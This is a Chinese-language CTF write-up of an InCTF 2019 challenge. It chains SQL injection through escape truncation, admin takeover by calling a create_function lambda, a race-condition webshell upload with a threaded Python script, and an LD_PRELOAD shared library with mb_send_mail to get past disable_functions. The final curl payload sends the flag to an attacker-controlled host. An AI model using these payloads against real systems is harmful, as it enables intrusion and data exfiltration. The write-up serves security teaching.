从一道ctf题中学会了利用LD_PRELOAD突破disable_functions。
<?php
include("config.php");
include("functions.php");
session_start();
$user = $_POST['username'];
$pass = $_POST['password'];
$user = check($user);
$pass = check($pass); //I know you are naughty!!
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
$result = $conn->query($sql);
if ($result->num_rows > 0 || $_SESSION['logged']==1){
$_SESSION['logged'] = 1;
header("Location: admin.php");
}
else{
echo "Incorrect Credentials"."<br>";
}
$conn->close();
?>
username
和password
进行过滤。real_escape_string
函数将用户输入的特殊符号给转义成完全的字符如(",',\)等,然后还要检查长度值。<?php
session_start();
include("config.php");
function escape($str){
global $conn;
$str = $conn->real_escape_string($str);
return $str;
}
function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
$zip->extractTo($path);
$zip->close();
}
}
function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
function is_login(){
if($_SESSION['logged']!=1){
die("Login first");
}
}
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
function send($random){
$phone_number="xxxxxxxxxx";
//Send random value to his phone number
}
?>
read_escape_string
函数,这将给我们提供了SQL注入的可能。payload
username = 1111111111\ , password = or 1#
result
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password=' or 1#';
我们使用下面的代码实验一波:
<?php
function escape($str){
$str = addslashes($str);
return $str;
}
function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}
$username ="1111111111\\";
$password =" or 1#";
$user=check($username);
$pass=check($password);
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
echo $sql;
最终的结果:
SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password='or 1#'
admin.php
页面将会显示Sorry, It seems you are not Admin…are you? If yes, proove it then !!
。<?php
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
admin
的。remote_admin.php
。<?php
include "functions.php";
session_start();
is_login();
# If admin wants to open his website remotely
$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function admin_$random() {"
."global \$remote_admin; \$remote_admin();"
."}");
send($random);
$_GET['random'](); //Only Admin knows next random value; You don't have to worry about HOW?
if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
$_SESSION['admin'] = "True";
}
?>
$_SERVER["REMOTE_ADDR"]
访问改页面的IP为127.0.0.1
时,会话中的admin值才设置为True。因此我们要用127.0.0.1
来覆盖$_SERVER["HTTP_I_AM_ADMIN"]
的值,并通过调用create_function
创建函数来实现。admin_
+$random = bin2hex(openssl_random_pseudo_bytes(32));
的函数,然后通过$_GET['random']();
传入来调用,但是那个$random
是随机的你没有办法预测。create_function
注入的相关知识。#define LAMBDA_TEMP_FUNCNAME "__lambda_func"
/* {{{ proto string create_function(string args, string code)
Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
..省略..
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}
create_function
函数的返回值为\x00lambda_%d
,并且实际的本地测试显示匿名函数最终以\x00lambda_1,\x00lambda_2
等字符串形式返回。$remote_admin
变量中匿名函数的字符串名称值,以便我们可以调用匿名函数来获取管理员的权限,而无需直接调用admin_$random()
函数。GET /remote_admin.php?random=%00lambda_1 HTTP/1.1
Host: 3.15.186.158
Cache-Control: max-age=0
I-AM-ADMIN: 127.0.0.1
Cookie: PHPSESSID={你自己的cookie}
admin.php
页面将会有一个上传功能。<?php
session_start();
include("functions.php");
is_login();
is_admin();
$SANDBOX = getcwd() . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (isset($_FILES['file'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX);
CheckDir($SANDBOX);
echo "File is at: " . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
}
?>
functions.php
<?php
..省略..
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
// 解压zip文件
$zip->extractTo($path);
$zip->close();
}
}
function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
// 条件竞争写入webShell
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
..省略..
?>
./uploads/md5_hex_value/
目录下,并且将会验证上传的文件后缀来判断是否要删除文件。在合天网安实验室上面,大家就可以做相关的一个练习,php竞争条件漏洞:
http://www.hetianlab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b
<?php
mkdir("../shell/");
file_put_contents("../shell/webshell.php",'<?php eval($_GET[0]);?>');
?>
solve.py
import requests
import threading
def upload_zip():
for i in range(0,1000):
url = "http://3.15.186.158/upload.php"
multiple_files = [
('file', ('foo.png', open('./shell.zip',"rb"), 'application/x-zip-compressed'))]
header = {"Cookie":"PHPSESSID={你的cookie}"}
result = requests.post(url,headers=header,files=multiple_files).text
def get_shell():
for i in range(0, 10000):
url = "http://3.15.186.158/uploads/{你的MD5字符串}/shell.php"
header = {"Cookie": "PHPSESSID={你的cookie}"}
result = requests.get(url, headers=header).text
if "404 Not Found" not in result:
print result
threads = []
for i in range(0,100):
threading.Thread(target=upload_zip,args=('')).start()
threading.Thread(target=get_shell, args=('')).start()
file Function
来获取。phpinfo()
我们可以看到,disable_functions
的设置如下:pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_get_handler,proc_open,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,
pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
error_log,system,exec,shell_exec,
popen,passthru,link,symlink,
syslog,imap_open,ld,mail,
fread,fopen,file_get_contents,readfile,
chdir
putenv
,因此我们可以使用LD_PRELOAD
来突破disable_functions
来执行系统命令。LD_PRELOAD
为我们提供了劫持系统函数的能力,但是前提是我们要控制php启动外部程序才行(只要有进程启动行为即可),我们常用的启动一个新进程的方法有mail,imap_open,error_log,syslog
和imagick
(没有安装此模块),其内部原理都是通过execve
来开启一个新的进程。mbstring
的扩展模块。如果安装了该模块,则可以使用Multibyte character encoding
的功能,其中的mb_send_mail
函数的功能可以替代mail
,并且达到相同的效果,如下所示:
mail
函数一样,因此通过execve
进行sendmail
调用是在内部进行的,并且不应用disable_function
,因此我们可以通过使用LD_PRELOAD
来劫持系统函数,执行系统命令。LD_PRELOAD
怎样劫持系统函数。putenv
来设置LD_PRELOAD
,让我们的动态链接程序被优先调用。execve
。#include <stdlib.h>
u_int getuid(void){
char *command;
command = getenv("shell");
system(command);
return 0;
}
php payload
/uploads/shell/webshell.php?0=putenv("LD_PRELOAD=/tmp/getshell.so");putenv("shell=curl http://你的ip地址:你的端口号/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a");
执行payload后,你将会在你的服务器日志中获取flag。
Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r}
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!